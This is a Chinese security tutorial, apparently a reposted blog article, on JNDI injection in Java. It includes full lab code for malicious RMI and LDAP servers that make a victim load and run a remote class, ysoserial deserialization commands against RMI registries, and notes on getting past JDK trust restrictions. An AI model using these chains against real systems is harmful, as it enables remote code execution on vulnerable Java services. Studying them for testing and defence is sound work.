【JAVA安全】JNDI注入

admin 2024年8月5日11:03:24评论20 views字数 3948阅读13分9秒阅读模式

介绍

JNDI(Java Naming and Directory Interface)用来查找和访问各种资源,比如定位用户、网络、机器、对象、服务等资源。JNDI底层支持RMI(Registry Service Provider)远程对象调用。

JNDI注入之RMI利用

受害者类

需要调用lookup方法,且需要保证参数是可控制的

import javax.naming.InitialContext;  
import javax.naming.NamingException;  
  
public class Victim {  
    public static void main(String[] args) throws NamingException {  
        InitialContext initialContext = new InitialContext();  
        initialContext.lookup("rmi://127.0.0.1:1099/aaa");  
    }  
}

RMI服务端

RMI服务注册的ip和端口应与受害者lookup的地址相同

import com.sun.jndi.rmi.registry.ReferenceWrapper;  
  
import javax.naming.NamingException;  
import javax.naming.Reference;  
import java.rmi.AlreadyBoundException;  
import java.rmi.RemoteException;  
import java.rmi.registry.LocateRegistry;  
import java.rmi.registry.Registry;  
  
public class RMIServer {  
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {  
        Registry registry = LocateRegistry.createRegistry(1099);  
        Reference reference = new Reference("evil""evil""http://127.0.0.1:8000/");//存放恶意class的服务器  
        registry.bind("aaa"new ReferenceWrapper(reference));  
    }  
}

还需要指定恶意类的存放地址,这里我们直接用python -m http.server在8000端口起一个目录遍历服务

恶意类

编写需要加载的恶意类代码

import javax.naming.Context;  
import javax.naming.Name;  
import javax.naming.spi.ObjectFactory;  
import java.io.IOException;  
import java.util.Hashtable;  
  
public class evil implements ObjectFactory {  
    public evil() throws IOException {  
        Runtime.getRuntime().exec("calc");  
    }
    
    @Override  
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {  
        return null;  
    }  
}

适用javac将其编译为evil.class放到python起服务的根目录下

测试

先起python目录服务,再起RMIServer服务器,最后运行受害者的lookup方法。

理想情况是受害者利用lookup去寻找网络资源,RMI服务器指向python目录的恶意类,然后受害者读取恶意类并执行。

然而事实是这个方法只在8u121以下生效,因为更高版本的Java默认对RMI远程Reference不再信任,也就是出现The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.报错的原因。

要想绕过高版本jdk也有方法,得保证受害者目标机器使用了对应的依赖,比如tomcat8、groovy等思路绕过限制。

JNDI注入之LDAP

LDAP基于X.500标准的轻量级目录访问协议

新建恶意类

import java.io.IOException;  
  
public class evil {  
    public evil() throws IOException {  
        Runtime.getRuntime().exec("calc");  
    }  
}

并java编译为class

marshalsec启动LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8000/#evil 1099

启动python目录遍历服务

python -m http.server在8000端口起一个目录遍历服务,把第一步编译的evil.class放到根目录下即可

受害者调用

import javax.naming.InitialContext;  
import javax.naming.NamingException;  
  
public class Victim {  
    public static void main(String[] args) throws NamingException {  
        InitialContext initialContext = new InitialContext();  
        initialContext.lookup("ldap://127.0.0.1:1099/evil");  
    }  
}

最终构成链子,受害者lookup访问到marshalsec的1099LDAP服务,该服务指向python启动的目录evil.class,受害者获得evil.class后执行里面的构造函数。

测试

从8u191开始,LDAP远程Reference代码默认不信任,需要通过利用javaSerializedData属性序列化数据的方法实现攻击。

当javaSerializedData属性的value值不为空时,会对该值进行反序列化处理,当本地存在反序列化利用链时,即可触发RCE。

比如受害者机器存在CC链所需的类库,利用CC链生成poc

java -jar ysoserial.jar CommonsCollections5 calc > poc.txt

然后base64编码后放到ldap服务端代码里给javaSerializedData属性addAttribute,最后使用受害者连接ldap服务执行本地反序列化rce。

JRMP协议

通过wireshark抓包看到在rmi调用的时候请求和响应都是基于tcp协议的JRMP协议,里面的payload也都是序列化的Java字节码,那么本质上我们可以替换响应的内容去触发反序列化的rce

攻击RMIServer

如果我们找到一个目标,其端口开放一个RMI服务,无需知道具体提供的服务调用类,直接发序列化数据触发服务端反序列化rce

假定服务端RMIServer的地址是192.168.100.1:1099且当前服务端存在一个有漏洞的cc链

java -cp ysoserial-all.jar ysoserial.exploit.JRMPClient 192.168.100.1 1099 CommonsCollections1 calc

java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit 192.168.100.1 1099 CommonsCollections1 calc

即可让RMIServer服务端执行calc

攻击可控lookup方法客户端

前提是我们可以控制客户端lookup方法参数中的网络地址设置,此时我们可以自建一个RMIServer服务,让客户端连我们的恶意服务触发客户端的反序列化

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 calc

让改客户端的请求目标,改成192.168.100.129:1099,发送请求即可执行calc

如果想调试,就在Runtime类的exec方法这里下个断点,然后看调用栈,往下翻找到readObject方法,再往前就是JRMP的调用,往后就是常规的CC1链子调用

原文始发于微信公众号(智佳网络安全):【JAVA安全】JNDI注入

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月5日11:03:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【JAVA安全】JNDI注入https://cn-sec.com/archives/3031250.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息